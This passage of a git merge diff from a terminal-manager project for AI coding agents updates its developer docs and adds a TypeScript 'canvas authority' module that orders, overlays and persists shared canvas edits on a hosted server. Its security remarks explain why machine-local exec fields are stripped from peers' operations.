Skip to content

Node-based terminal manager for AI coding agents — tmux-backed terminals and parallel agent sessions as draggable nodes on an infinite pan/zoom canvas. macOS, Linux, and a browser Server Edition.

Merge remote-tracking branch 'origin/main' into feat/shared-canvas-authority

review09caa991fbcd
diff --cc CLAUDE.md
index eab4bee46,d929d5f0e..f6d87203d
--- a/CLAUDE.md
+++ b/CLAUDE.md
@@@ -3418,7 -3743,22 +3754,25 @@@ command-bearing opens; this does not ad
**Dependency edges (`--after`, 2026-07):** `open-terminal`/`open-claude`/`open-agent` accept
`--after <id,id>`, which opens the node **armed** — `data.pendingLaunch` ({after, command},
`PendingLaunch` in shared/types) holds the launch the factory built, and Canvas fires it once
- every dep reports `done`. This is what makes the canvas a DAG instead of a fan-out. Load-bearing
+ every dep reports `done`. This is what makes the canvas a DAG instead of a fan-out.
+ **`pendingLaunch` is a MACHINE-LOCAL exec field, like `shell`** (@shared/node-exec): its `command`
+ is typed into a shell once the wait is over, and `after: []` or a vanished dep counts as over, so
+ a value that arrives from outside would run a command nobody here armed. It is persisted in
+ workspace.json's `IndexEntryV3.localExec` (every ref kind: folder, SSH, local-data), NEVER in
+ `.nodeterm/project.json` or an SSH mirror (`stripSharedNodeExec`), and a file that carries one is
+ ignored on read — the one-time legacy hoist deliberately does not adopt it either (provenance
+ cannot be told apart, so an armed node written by an older build loses its held launch on
+ upgrade). On `canvas:mut` a peer's value is stripped and OUR value carried across its upserts
+ (`carryLocalNodeExec`); the reflector forwards one only between OWNER clients
+ (`CorePlatform.isOwnerClient`: the app window, a cookie-authenticated Server Edition tab — never a
+ relay peer), stamped `origin: 'core'`, which a client cannot supply and a relay tab ignores. That
+ owner→owner leg is load-bearing: it is how two Server Edition tabs agree a launch was claimed, and
+ how a headless delivery's clear reaches the browser, so nothing types it twice. Our OWN writes
+ into a background project go through `applyOwnNodeMutation` (unstripped — a cold open keeps its
- launch, a patch to `undefined` clears it); `applyNodeMutation` is the peer path. Load-bearing
++ launch, a patch to `undefined` clears it); `applyNodeMutation` is the peer path (the one reducer,
++ `applyCanvasOp`). On a Server Edition that governs a shared project, the canvas authority hears
++ every op WITHOUT its launch and a save's exec carry is what writes it (see **Shared canvas
++ authority**). Load-bearing
details: (1) **an unknown agent state is NOT "satisfied"** — right after a fan-out no upstream has
emitted a hook event yet, and reading "no news" as "finished" would fire every dependent
instantly; a **deleted** dep IS satisfied (it can never report); and a dep that is `done` with a
@@@ -6710,43 -7333,14 +7347,50 @@@ The invariants, each with its reason
survives Electron IPC. Only `E_JOIN_NETWORK` and `E_JOIN_THROTTLED` (at least 60 s) retry
unattended. A drop the host did not explain retries 5 times (1/2/4/8/15 s), then stops and says so.
+**Shared canvas authority** (doc section of that name; ordering rules in `docs/team-presence.md`).
+`canvas:mut` carries nodes, edges (`edge-*`) and board items (`kb-*`, `shared/kanban-ops.ts`).
+
+- **On the Server Edition, only the canvas authority writes a shared project's content**
+ (`core/canvas-authority.ts`: nodes, bridges, ropes, board items; only in the process that owns the
+ team). A client's whole-workspace save is a stale copy of every canvas it holds, so saves AND
+ loads pass through the authority's overlay (`WorkspaceStore.setContentAuthority`), and an outside
+ edit (a `git pull`) is adopted and published as ops instead of `workspace:external-change`, whose
+ conflict bar would offer "Keep mine" over it. It writes 1 s after the last op, at most 5 s after
+ the first. The consequence for code: **a content change that is not cast as an op is dropped by
+ the next overlaid save.** That is why server canvas control casts a diff of the whole content
+ before every save (`castAndSave`, never a per-verb list, which drifts), and why a hosted relay
+ peer may not `workspace:save` at all (refused for every role). One exception: a node too large
- to travel as an op is taken from saves.
++ to travel as an op is taken from saves. **Exec fields never enter the authority's state** —
++ `shell`, `ssh.extraArgs`, and `pendingLaunch`, which the reflector strips from what it hands the
++ authority even on an owner's op: a save carries this machine's own values onto the overlaid nodes
++ (`carryLocalNodeExec`), and that carry is how an armed `--after` node — and server canvas
++ control's claim/clear of its launch (`savePatches` → `castAndSave`) — reaches the index's
++ `localExec` on a governed project.
+- **One reducer, `applyCanvasOp`** (`shared/canvas-content.ts`), applies an op to the authority's
+ state and to every client's STORED copy of a project (background projects, and every board op).
- Two appliers is how an authority and its clients silently diverge. The only other applier patches
- the active project's live React Flow array for node ops (`applyMutationToFlow`), because a trip
- through the serializers would wipe the selection; live edge ops go through the reducer's own edge
- applier, `applyEdgeMutationToScene`.
++ Two appliers is how an authority and its clients silently diverge. The only other applier OF A
++ RECEIVED OP patches the active project's live React Flow array for node ops
++ (`applyMutationToFlow`), because a trip through the serializers would wipe the selection; live
++ edge ops go through the reducer's own edge applier, `applyEdgeMutationToScene`. THIS renderer's
++ own node writes into a background project are not received ops and take `applyOwnNodeMutation`
++ (unstripped: the held launch is ours to set or clear — see the `pendingLaunch` paragraph).
+- **The solo-gate trap.** The publisher casts nothing while no teammate is attached, and on a governed
+ project that loses every edit. The gate is `shouldPublishFor` = `(hasPeers || governed) && sameCore
+ && !readOnly`: a Server Edition tab publishes every project until its first `canvas:authority`
+ answer and re-asks on reconnect, and neither our own echo nor a src-less core op proves a peer
+ (`provesPeer`). The desktop answers `[]`, so it is unchanged.
+- **Prune removals are never cast** (`diffKanbanOps`' `liveNodeIds`). Every board commit prunes the
+ cards of nodes that are not live locally, and a client whose node op has not arrived yet would
+ otherwise cast the removal of a fresh card for everyone. `liveNodeIds` is one project's nodes
+ (for the rendered project, React Flow ∩ store while the Omni board is open). Card and meta
+ removals are last-writer-wins VALUES; only node, edge, column, label and view removals are rule-4
+ deletions.
+
**Known limitations** (full list in the doc): non-editors still receive cross-project presence and
`context:update` metadata (deploy one core per team); a viewer's socket backlog over 1 MB still
-pauses the shared pty through Stage 2 backpressure; canvas edits made in a hosted tab are not
-written to the host, because a relay tab never saves the host workspace and the reflector persists
-nothing (ruling R42). Workaround: keep a Server Edition browser tab open on the host's core; it
-applies each reflected mutation, marks itself dirty and saves. Edits made while no browser tab is
-attached are lost. Kanban, bridge and rope edits made in a relay tab are never propagated or saved
-at all, because `canvas:mut` carries nodes only; that predates this feature.
+pauses the shared pty through Stage 2 backpressure; the canvas authority's own limits (outside edits
+of name/colour/icon/layouts, the share-time window, oversized nodes, board edits to another core,
+the card modal's comments on a relay tab) are under "Known limits" in the doc.
**Surfaces:** Desktop is full (joiner, plus approval and invite code in an owner's hosted tab).
Server Edition is the host (the `team` CLI; its browser clients cannot approve and are not hosted
diff --cc CONTRIBUTING.md
index 7f0727a31,9a4968629..b597dc7e3
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@@ -448,12 -483,15 +483,21 @@@ anything else. Board-level fields survi
test forces that: without one, the event simply never arrives. Deep version: CLAUDE.md § Hosted
team relay.
+ - **...and in `src/core/relay/scoped-guest-policy.ts` too.** A Team Access invite that shares ONE
+ project is served through that allowlist: every relay-tab channel is in `SCOPED` (with a check
+ that its node / path / projectId belongs to the shared project) or in the reviewed
+ `SCOPED_REFUSED` set, and `scoped-guest-policy.guard.test.ts` fails on one that is neither. An
+ unlisted channel is refused to scoped guests; an event they must receive needs to be attributable
+ to the shared project (`filterScopedEvent`). Anything that touches the host's settings,
+ credentials, license or pairing belongs in `src/shared/host-control.ts` instead — refused to every
+ relay peer.
+
+- **A change to canvas content that does not travel as a `canvas:mut` op is lost on a hosted core —
+ route new content edits through the op vocabulary (`src/shared/canvas-content.ts`).** On a Server
+ Edition hosting a team, the canvas authority writes a shared project's nodes, edges and board
+ from the ops it hears, and overlays every save with that content, so a content change that reaches
+ the core only inside a save is dropped from disk. Deep version: CLAUDE.md § Hosted team relay.
+
- **Normalize BOTH sides of a path comparison, through one function.** A marker normalized where
it is built and matched raw where it is used is a no-op on the machine you wrote it on and a
silent defect on Windows. That is issue #558: the managed-hook marker was folded to `/` while
diff --cc docs/hosted-team-relay.md
index 08ab4782b,31b73dc4c..749086145
--- a/docs/hosted-team-relay.md
+++ b/docs/hosted-team-relay.md
@@@ -311,113 -326,6 +311,117 @@@ unapproved after 2.5 s, the tab says "W
from an owner's desktop. The only way the CLI admits a device is `team add-owner`, which makes it
an owner.
+## Shared canvas authority
+
+On the server that owns the team, the **canvas authority** (`src/core/canvas-authority.ts`) is the
+one writer of every shared project's canvas **content**: its nodes, bridges, ropes and board items
+(columns, cards, card metadata, labels, saved views). A client's edits reach it as `canvas:mut`
+ops; a Server Edition tab still sends whole-workspace saves too, but the content in them is
+overlaid with the authority's (input 2), and only a node too large to travel as an op is taken from
+them. The core's reflector places every op in one total order (`seq`); the authority hears each op
+right after that stamp, judges it with the same ordering rules every client
+uses (`src/shared/canvas-order.ts`: the highest `seq` wins per item, and a causal delete, see
+`docs/team-presence.md`), and applies it through the same reducer (`applyCanvasOp`,
+`src/shared/canvas-content.ts`).
+
+**What is governed.** Every project in `team.json`'s `sharedProjects`, and nothing else. A project
+that is not shared, a server with no team, and a server that found another one on its data directory
+(it creates no authority) are saved as before; so is every desktop's canvas. A shared project's other
+fields (name, colour, icon, layouts, the board's `github` mapping and `pullLinks`) are not governed:
+whole-workspace saves still write them.
+
+**Its four inputs:**
+
+1. **Ops**: from Editors' hosted tabs, from the server's own browser tabs, and from server canvas
+ control, which diffs everything a verb changed and casts each op before it saves (`castAndSave`,
+ `src/server/headless-node-factory.ts`).
+2. **Saves.** Before a whole-workspace save is written, a governed project's content is replaced by
+ the authority's (`overlaySave`). The board is overlaid field by field: its items (columns, cards,
+ metadata, labels, views) come from the authority, `github` and `pullLinks` from the save. This
- machine's exec fields (`shell`, `ssh.extraArgs`) are carried over from the save's copy of each
- node, since the authority's own state holds none. A stale copy cannot write content back, with
- one exception, the oversized node below.
++ machine's exec fields (`shell`, `ssh.extraArgs`, and a held launch, `pendingLaunch`) are carried
++ over from the save's copy of each node, since the authority's own state holds none. That carry
++ is the ONLY way a launch reaches disk on a governed project: the reflector hands the authority
++ every op without its launch, so an armed `--after` node, and server canvas control's
++ claim/clear of its launch (`savePatches`), land in the index's machine-local `localExec`
++ through the save that follows the cast. A stale copy cannot write content back, with one
++ exception, the oversized node below.
+3. **Loads**, overlaid the same way (`overlayLoad`), so a client that loads sees every op the
+ authority applied, written to disk or not.
+4. **Outside edits.** A `git pull` or hand edit of a governed `.nodeterm/project.json`, seen by the
+ server's file watcher, is adopted: the authority re-applies the ops it has not written yet on top,
+ publishes the difference as `canvas:mut` ops, and broadcasts no `workspace:external-change`, so no
+ client gets the Reload / Keep mine bar (`src/server/workspace-external-watch.ts`).
+
+**Writing.** A governed project is written 1 s after its last op, and at most 5 s after the first op
+not yet written, through the store's atomic content write (`WorkspaceStore.writeProjectContent`: it
+bumps `rev` like a save, and the file is byte-identical to a save's apart from `rev` and `savedAt`).
+A failed write keeps every op and retries
+after 1 s, 2 s, 4 s and so on, capped at 30 s. Both server shutdown paths write what is pending
+before they exit, so a crash loses only what was not written yet: normally at most the last 5 s.
+Viewers can watch a terminal an Editor opened once its node is written, because node membership is
+read from the saved canvas.
+
+**When it adopts.** At boot, once `team.json` is loaded, every shared project is read, so an outside
+edit that lands before any op still has a baseline to compare with. `team share` adopts the project;
+`team unshare` writes what is pending, then lets it go (it is saved the old way again). The server's
+browser tabs are told the new governed set (`canvas:authority-changed`). A shared project whose file
+cannot be read stays governed, so its clients keep publishing, but the authority writes nothing for
+it and saves of it pass through unchanged until it can be read. The journal says so once:
+"[canvas-authority] project <id> is shared, but its content could not be read …". `team share` does
+not check the id, so a shared id that is not a project on this core logs the same line.
+
+**Publishing when alone.** A client normally casts nothing while no teammate is attached. On a
+governed project that would lose every edit, so a client publishes whenever the project is governed:
+a Server Edition browser tab asks its core (`canvas:authority`), publishes for every project until
+the first answer arrives, and asks again on reconnect; a hosted relay tab treats every project it
+holds as governed. The desktop answers that it governs nothing, so a desktop publishes exactly as
+before.
+
+**Relay peers cannot save the host's workspace.** A `workspace:save` from a hosted relay peer is
+refused for every role, owners included, with `E_ROLE`: "A hosted team cannot save the host's
+workspace over the relay; edits travel as canvas operations". A whole-workspace save from a peer is a
+stale copy of every canvas it holds. No desktop flow sends one: the desktop's canvas saves go to its
+own local core.
+
+**The oversized-node exception.** A node too large to travel as an op (its upsert op, serialized, is
+longer than `MUTATION_MAX_BYTES`: `JSON.stringify(op).length` over 256,000, about 250 KB; in
+practice a sticky note with a pasted document in it) can only reach the core inside a save, so a
+save may contribute that node. It sits outside the total order; its limits are listed
+below.
+
+**Bridges grant reads.** On the Server Edition, which agent sessions may read each other's context
+(Context Link) is derived from the saved `bridges` of every canvas (`src/server/context-link.ts`). A
+link an Editor draws in a hosted tab is now saved, so it lets the two agents it joins read each
+other's conversation on the host. An Editor already has a shell there, so this is no new power, but
+it is a new way to use it.
+
+### Known limits
+
+- **An outside edit's other fields are not delivered live.** A pulled change to a governed project's
+ name, colour, icon or layouts reaches no client until that client loads again. A Server Edition
+ browser tab that saves before it reloads writes its own copies back over the pulled ones: those
+ fields are still whole-file, last writer wins.
+- **The share-time window.** An edit a client made just before `team share` (not yet cast because it
+ was alone, or cast but not yet saved) is not in what the authority reads from disk, and that
+ client's next save is overlaid, so the edit can be lost from disk. It stays on that client's screen
+ until it reloads. The window is short: a client saves 800 ms after its last change.
+- **Oversized nodes.** A node too large to travel as an op is taken from saves, with three
+ consequences. A client's save issued before that client applied a `remove` of such a node still
+ carries it, so the node is written back and stays until someone removes it again (the other
+ clients see it only after they reload). An outside edit of such a node reaches no client (the op
+ is refused as too large), and the next client save can put the client's older copy back. Two
+ clients holding different copies of one such node replace each other's on every save.
+- **Board edits reach only the active tab's core.** A client casts only to the core its active tab
+ is on. An edit on the Omni board to a lane of a project on another core (a hosted lane while a
+ local tab is active, or the reverse) is not cast, so on a hosted core it is not written either.
+- **The Omni board and a brand-new node.** While the Omni board is open, removing the card of a node
+ created moments ago in the project on screen is not cast (teammates keep the card). For that
+ project only, the nodes that are both on the canvas and in the stored copy count as live then,
+ which can only ever cast fewer removals.
+- **The card modal's comments on a relay tab** (`BoardLogPanel`) still read and write the local core's
+ board log, not the host's, because the modal renders outside the tab's session. This predates the
+ authority; it is a follow-up.
+
## Status and troubleshooting
`team status --json` returns:
diff --cc src/core/canvas-authority.ts
index 6100809e3,000000000..6e91b6ea8
mode 100644,000000..100644
--- a/src/core/canvas-authority.ts
+++ b/src/core/canvas-authority.ts
@@@ -1,464 -1,0 +1,466 @@@
+// The Server Edition canvas authority: for every project shared with a hosted team, the ONE writer
+// of its content (nodes, bridges, ropes and board items). Clients send ops, never content. This
+// module applies those ops in the reflector's total order through the same reducer every client
+// uses, overlays its state onto whole-workspace saves and loads (so a stale copy can never write
+// content back), adopts outside edits by publishing the difference as ops, and flushes through the
+// store's atomic content write. No electron and no ws: the Server Edition shell wires it
+// (docs/hosted-team-relay.md).
+//
+// What its state is, precisely: the fold of the total order over the content it adopted, plus the
+// two non-op inputs it accepts (an outside edit, and a node too large to ever travel as an op).
+// Four rules keep that honest:
+//
- // 1. ITS STATE CARRIES NO EXEC FIELDS. `shell` and `ssh.extraArgs` are machine-local
- // (@shared/node-exec): every op is sanitized before it is reflected, but a store read re-applies
- // this machine's values, so content entering from anywhere but an op is stripped on the way in
- // (`governedContent`). Unstripped state would differ from every sanitized echo and publish
- // spurious diffs. Exec reaches a save or a load only through `carryLocalNodeExec`, from the
- // copy the save or load itself carried.
++// 1. ITS STATE CARRIES NO EXEC FIELDS. `shell`, `ssh.extraArgs` and a held launch
++// (`pendingLaunch`) are machine-local (@shared/node-exec): every op reaches this module
++// sanitized (the reflector hands its listener the op without a launch, even an owner's), but a
++// store read re-applies this machine's values, so content entering from anywhere but an op is
++// stripped on the way in (`governedContent`). Unstripped state would differ from every
++// sanitized echo and publish spurious diffs. Exec reaches a save or a load only through
++// `carryLocalNodeExec`, from the copy the save or load itself carried — which is how an armed
++// `--after` node's launch, and a delivery's clear of it, reach the index's `localExec`.
+//
+// 2. ITS OWN PUBLISHED OPS ARE ORDINARY OPS. The diff an outside edit publishes goes out bare (no
+// `src`, no `seen`), is stamped by the reflector and comes back through `onReflected` like any
+// client's cast. It is applied, and it changes nothing, because the content is already there.
+// Treating it as "our own echo" instead would diverge from the clients the moment an older op
+// landed between the publish and the echo: the clients end on the published value (it has the
+// higher seq), and an authority that dropped its echo would keep the older one.
+//
+// 3. ONLY A WRITE THAT LANDED RETIRES AN OP. `unflushed` holds every op applied since the last
+// successful write, and a failed write keeps them all. They are re-applied on top of an outside
+// edit, because disk has the edit and not them.
+//
+// 4. A FAILED READ GOVERNS NOTHING. A shared project whose content cannot be read keeps `governs`
+// true (the clients must keep publishing), drops its ops, and says so once.
+//
+// One accepted exception to "content comes only from ops": a node too large to travel as an op
+// (over the byte cap every cast is held to) can only ever arrive in a save, so a save may contribute
+// it. That node is outside the total order, and it has known limits, written beside the code that
+// adopts it (`overlayProject`).
+
+import { applyCanvasOp, contentOf, diffContent, type CanvasContent } from '../shared/canvas-content'
+import { isCanvasMutation } from '../shared/canvas-mutations'
+import { createCanvasOrder } from '../shared/canvas-order'
+import { defaultKanbanFor } from '../shared/kanban-default-board'
+import { carryLocalNodeExec, stripSharedNodeExec } from '../shared/node-exec'
+import type { BridgeLink, CanvasMutation, CanvasNodeState, Project, ProjectKanban, Workspace } from '../shared/types'
+
+export interface CanvasAuthorityDeps {
+ /** The projects shared with the hosted team right now. Read on every call, never cached. */
+ sharedProjectIds(): ReadonlySet<string>
+ /** A project's content as the store knows it (null = unknown, SSH, or unreadable). Must not queue
+ * behind a save: the save overlay calls it from inside one. */
+ readContent(projectId: string): Promise<CanvasContent | null>
+ /** Write a project's content atomically. false = nothing was written. */
+ writeContent(projectId: string, content: CanvasContent): Promise<boolean>
+ /** Cast one op to every client (the reflector stamps its seq and echoes it back here). */
+ publish(projectId: string, m: CanvasMutation): void
+ /** Quiet period before a flush. Default 1000. */
+ quietMs?: number
+ /** Longest a dirty project waits for a flush while ops keep arriving. Default 5000. */
+ maxWaitMs?: number
+ /** Backoff before retry number `attempt` (0-based). Default min(30000, 1000 * 2 ** attempt). */
+ retryMs?: (attempt: number) => number
+ setTimer?: (fn: () => void, ms: number) => unknown
+ clearTimer?: (t: unknown) => void
+ log?: (msg: string) => void
+}
+
+export interface CanvasAuthority {
+ /** Is this project's content written by the authority? Shared and not stopped; true before the
+ * project is first adopted, and true even when its content cannot be read. */
+ governs(projectId: string): boolean
+ /** Every project `governs` answers true for, adopted or not (a client needs this before first
+ * contact, to know it must publish). */
+ governedIds(): string[]
+ /** The governed projects whose content the authority holds right now. */
+ adoptedIds(): string[]
+ /** One op, as the reflector stamped it, in the reflector's order. */
+ onReflected(projectId: string, m: CanvasMutation): void
+ /** Governed projects' content fields replaced by the authority's (the store's save hook). */
+ overlaySave(ws: Workspace): Promise<Workspace>
+ /** Governed projects' content fields replaced by the authority's (the store's load hook). */
+ overlayLoad(ws: Workspace): Promise<Workspace>
+ /** A project re-read after an outside edit (a git pull, a hand edit). */
+ adoptOutsideEdit(project: Project): Promise<void>
+ /** The shared set changed: flush and release what left it, adopt what joined it. */
+ sharedChanged(): void
+ /** Write every dirty project now. */
+ flushAll(): Promise<void>
+ /** Stop governing, after writing what is pending. Later ops are ignored. */
+ stop(): Promise<void>
+}
+
+interface Governed {
+ content: CanvasContent
+ /** Ops applied since the last successful write, re-applied on top of an outside edit. */
+ unflushed: CanvasMutation[]
+ /** The content differs from what is on disk. What `flush` keys on, not `unflushed.length`. */
+ dirty: boolean
+ quietTimer: unknown
+ maxTimer: unknown
+ retryTimer: unknown
+ attempt: number
+ flushing: Promise<void> | null
+}
+
+/**
+ * The order's own tag. EMPTY on purpose: the reflector strips every `src` that is not a ref id
+ * (`stampMutation`), and `accept` compares with `m.src && m.src === src`, so no reflected op,
+ * honest or forged, is ever taken for this authority's own echo (rule 2 in the header). It never
+ * calls `onLocal`, so for it the order is exactly "highest seq wins per key" plus rule 4's causal
+ * delete, the same verdicts every client reaches.
+ */
+const AUTHORITY_ORDER_TAG = ''
+
+/** Content entering the state from anything but an op, with the exec fields stripped (rule 1). */
+function governedContent(c: Pick<Project, 'nodes' | 'bridges' | 'ropes' | 'kanban'>): CanvasContent {
+ const x = contentOf(c)
+ return { ...x, nodes: stripSharedNodeExec(x.nodes) }
+}
+
+/** A node that can never travel as an op: the same verdict the reflector and the publisher reach. */
+const tooLargeToSync = (node: CanvasNodeState): boolean => !isCanvasMutation({ op: 'upsert', node })
+
+/** A project an overlay may rewrite. A relay tab is another machine's project, an unavailable
+ * placeholder's empty node list is not content, and an SSH project's file lives on another host
+ * (the store neither reads nor writes its content). */
+const overlayable = (p: Project): boolean => !p.remote && !p.unavailable && !p.ssh
+
+const isObject = (v: unknown): v is CanvasNodeState => !!v && typeof v === 'object'
+
+/** An edge list for an overlaid project: the authority's, except that an EMPTY list adds no key the
+ * incoming project lacked. The store's content write applies the same rule, for the same reason: a
+ * `"bridges": []` in a file nobody drew a link in is a diff nobody made. */
+const edgeList = (mine: BridgeLink[], theirs: BridgeLink[] | undefined): BridgeLink[] | undefined =>
+ mine.length || theirs !== undefined ? mine : undefined
+
+/** The board configuration a save or load carries: the two keys outside the op vocabulary. */
+function boardConfig(b: ProjectKanban | undefined): Pick<ProjectKanban, 'github' | 'pullLinks'> | undefined {
+ if (!b || typeof b !== 'object') return undefined
+ const out: Pick<ProjectKanban, 'github' | 'pullLinks'> = {}
+ if (b.github !== undefined) out.github = b.github
+ if (b.pullLinks !== undefined) out.pullLinks = b.pullLinks
+ return out.github !== undefined || out.pullLinks !== undefined ? out : undefined
+}
+
+/**
+ * Field-level board overlay: the ITEMS (columns, cards, meta, labels, views) from the authority,
+ * `github` and `pullLinks` from the incoming project, which owns them. With no board of its own,
+ * the incoming configuration rides on the project's lazy default board; with neither, no board.
+ */
+function overlayKanban(
+ projectId: string,
+ incoming: ProjectKanban | undefined,
+ mine: ProjectKanban | undefined
+): ProjectKanban | undefined {
+ const config = boardConfig(incoming)
+ if (!mine && !config) return undefined
+ const { github: _g, pullLinks: _p, ...items } = mine ?? defaultKanbanFor(projectId)
+ return { ...items, ...config }
+}
+
+function setOrDelete<K extends 'bridges' | 'ropes' | 'kanban'>(p: Project, key: K, value: Project[K] | undefined): void {
+ if (value === undefined) delete p[key]
+ else p[key] = value
+}
+
+export function createCanvasAuthority(deps: CanvasAuthorityDeps): CanvasAuthority {
+ const quietMs = deps.quietMs ?? 1000
+ const maxWaitMs = deps.maxWaitMs ?? 5000
+ const retryMs = deps.retryMs ?? ((attempt: number) => Math.min(30_000, 1000 * 2 ** attempt))
+ const setTimer = deps.setTimer ?? ((fn: () => void, ms: number): unknown => setTimeout(fn, ms))
+ const clearTimer = deps.clearTimer ?? ((t: unknown) => clearTimeout(t as ReturnType<typeof setTimeout>))
+ const log = deps.log ?? ((msg: string) => console.warn(`[canvas-authority] ${msg}`))
+
+ const order = createCanvasOrder(AUTHORITY_ORDER_TAG)
+ const governed = new Map<string, Governed>()
+ /** Adoptions waiting on `readContent`. Seeded adoptions (a load) are synchronous and never here. */
+ const adopting = new Map<string, Promise<Governed | null>>()
+ /** Ops the order accepted for a project whose adoption has not finished, in order. */
+ const queued = new Map<string, CanvasMutation[]>()
+ /** Projects whose unreadable content was already reported (rule 4 says so once). */
+ const warned = new Set<string>()
+ let stopped = false
+
+ const isShared = (id: string): boolean => deps.sharedProjectIds().has(id)
+ // `governs` asks only "shared, and not stopped", on purpose: a shared project whose content cannot
+ // be read must still read as governed, so its clients keep publishing ops (rule 4). That includes a
+ // shared SSH project, which the authority never overlays (`overlayable`) and cannot read (the
+ // store refuses SSH content), so its eager adoption logs once that its content could not be read.
+ // Harmless: the Server Edition has no SSH-project manager, so it never opens an SSH project, and
+ // such an entry can only come from a hand-copied index. Its saves pass through un-overlaid, which
+ // is exactly how an ungoverned project is saved.
+ const governs = (id: string): boolean => !stopped && isShared(id)
+
+ function clearTimers(g: Governed): void {
+ for (const t of [g.quietTimer, g.maxTimer, g.retryTimer]) if (t) clearTimer(t)
+ g.quietTimer = g.maxTimer = g.retryTimer = null
+ }
+
+ /** Arm the flush timers. While a retry is pending, the backoff owns the next attempt: a burst of
+ * ops must not turn a failing disk into one write per quiet period. */
+ function schedule(id: string, g: Governed): void {
+ if (stopped || g.retryTimer) return
+ if (g.quietTimer) clearTimer(g.quietTimer)
+ g.quietTimer = setTimer(() => {
+ g.quietTimer = null
+ void flush(id)
+ }, quietMs)
+ if (!g.maxTimer) {
+ g.maxTimer = setTimer(() => {
+ g.maxTimer = null
+ void flush(id)
+ }, maxWaitMs)
+ }
+ }
+
+ function markDirty(id: string, g: Governed): void {
+ g.dirty = true
+ schedule(id, g)
+ }
+
+ /** Apply one op. Nothing changes, and nothing is marked dirty, when the reducer answers the SAME
+ * object: a duplicate, an echo of the authority's own diff, an unchanged big node from a save. */
+ function applyTo(id: string, g: Governed, m: CanvasMutation): void {
+ const next = applyCanvasOp(g.content, m, id)
+ if (next === g.content) return
+ g.content = next
+ g.unflushed.push(m)
+ markDirty(id, g)
+ }
+
+ /** Stop holding a project that left the shared set, once nothing it holds is still unwritten. */
+ function release(id: string, g: Governed): void {
+ if (isShared(id) || g.dirty || g.flushing || governed.get(id) !== g) return
+ clearTimers(g)
+ governed.delete(id)
+ }
+
+ function install(id: string, content: CanvasContent | null): Governed | null {
+ const pending = queued.get(id) ?? []
+ queued.delete(id)
+ // Unshared while the read was in flight: its ops were accepted while it was shared, but the
+ // clients' whole-workspace saves carry them again now that nothing governs the project.
+ if (!isShared(id)) return null
+ if (!content) {
+ if (!warned.has(id)) {
+ warned.add(id)
+ log(`project ${id} is shared, but its content could not be read; its canvas edits are not written until it can be`)
+ }
+ return null
+ }
+ warned.delete(id)
+ const g: Governed = {
+ content: governedContent(content),
+ unflushed: [],
+ dirty: false,
+ quietTimer: null,
+ maxTimer: null,
+ retryTimer: null,
+ attempt: 0,
+ flushing: null
+ }
+ governed.set(id, g)
+ for (const m of pending) applyTo(id, g, m)
+ return g
+ }
+
+ /** The governed state of a project, adopting it on first contact. `seed` (a load result) IS the
+ * disk state, so it adopts without a second read. */
+ function adopt(id: string, seed?: CanvasContent): Promise<Governed | null> {
+ const have = governed.get(id)
+ if (have) return Promise.resolve(have)
+ const inflight = adopting.get(id)
+ if (inflight) return inflight
+ if (seed) return Promise.resolve(install(id, seed))
+ // `.then` starts the read on a later tick, so the entry is in `adopting` before it can settle.
+ const run = Promise.resolve()
+ .then(() => deps.readContent(id))
+ .catch((): CanvasContent | null => null)
+ .then((content) => {
+ adopting.delete(id)
+ return install(id, content)
+ })
+ adopting.set(id, run)
+ return run
+ }
+
+ async function write(id: string, content: CanvasContent): Promise<boolean> {
+ try {
+ return (await deps.writeContent(id, content)) === true
+ } catch {
+ return false
+ }
+ }
+
+ function flush(id: string): Promise<void> {
+ const g = governed.get(id)
+ if (!g) return Promise.resolve()
+ if (g.flushing) return g.flushing
+ if (!g.dirty) {
+ release(id, g)
+ return Promise.resolve()
+ }
+ clearTimers(g)
+ const snapshot = g.content
+ const written = g.unflushed.length
+ g.dirty = false
+ const run = write(id, snapshot).then((ok) => {
+ g.flushing = null
+ if (ok) {
+ g.unflushed.splice(0, written)
+ g.attempt = 0
+ // Anything applied while the write was in flight is still owed.
+ if (g.dirty) schedule(id, g)
+ else release(id, g)
+ return
+ }
+ // Rule 3: keep the content and every unflushed op, and try again later.
+ g.dirty = true
+ clearTimers(g)
+ const wait = retryMs(g.attempt++)
+ log(`writing project ${id} failed; its content is kept and the write is retried in ${wait} ms`)
+ if (!stopped) {
+ g.retryTimer = setTimer(() => {
+ g.retryTimer = null
+ void flush(id)
+ }, wait)
+ }
+ })
+ g.flushing = run
+ return run
+ }
+
+ /** Wait for a write in flight, then write whatever is still dirty (a pending retry included). */
+ async function drain(id: string): Promise<void> {
+ const inflight = governed.get(id)?.flushing
+ if (inflight) await inflight
+ if (governed.get(id)?.dirty) await flush(id)
+ }
+
+ function overlayProject(p: Project, g: Governed, mode: 'save' | 'load'): Project {
+ const theirs = Array.isArray(p.nodes) ? p.nodes.filter(isObject) : []
+ if (mode === 'save') {
+ // The one node a save may contribute: one that can never travel as an op (the accepted
+ // exception in the header). It enters as a synthetic upsert, so the reducer strips its exec
+ // fields (rule 1), an unchanged copy is a no-op (two saves of one big sticky write once), and
+ // an outside edit re-applies it.
+ //
+ // Its limits, which follow from it having no place in the total order:
+ // (a) A STALE SAVE REVIVES A REMOVED BIG NODE. A client's save issued before that client
+ // applied a `remove` of the node still carries it, and the save is not ordered against
+ // the remove, so the node is adopted back and written. The window is one save debounce.
+ // (b) AN OUTSIDE EDIT OF A BIG NODE REACHES NO CLIENT, AND THE NEXT SAVE UNDOES IT. The
+ // published upsert is refused by the reflector (too large), so every client keeps its old
+ // copy, and the next save from any of them re-adopts that copy: a git-pulled change to a
+ // big node is reverted on disk.
+ // (c) Two clients holding different copies of one big node replace each other's on every
+ // save.
+ for (const n of theirs) if (tooLargeToSync(n)) applyTo(p.id, g, { op: 'upsert', node: n })
+ }
+ // This machine's exec fields live on the incoming copy (and in the index's localExec); carry
+ // them onto the authority's nodes, or the save would drop them from the index.
+ const incoming = new Map(theirs.map((n) => [n.id, n]))
+ const nodes = g.content.nodes.map((n) => {
+ const local = incoming.get(n.id)
+ return local ? carryLocalNodeExec(local, n) : n
+ })
+ const out: Project = { ...p, nodes }
+ setOrDelete(out, 'bridges', edgeList(g.content.bridges, p.bridges))
+ setOrDelete(out, 'ropes', edgeList(g.content.ropes, p.ropes))
+ setOrDelete(out, 'kanban', overlayKanban(p.id, p.kanban, g.content.kanban))
+ return out
+ }
+
+ return {
+ governs,
+
+ governedIds: () => (stopped ? [] : [...deps.sharedProjectIds()]),
+
+ adoptedIds: () => [...governed.keys()].filter(governs),
+
+ onReflected(id: string, m: CanvasMutation): void {
+ if (!governs(id)) return
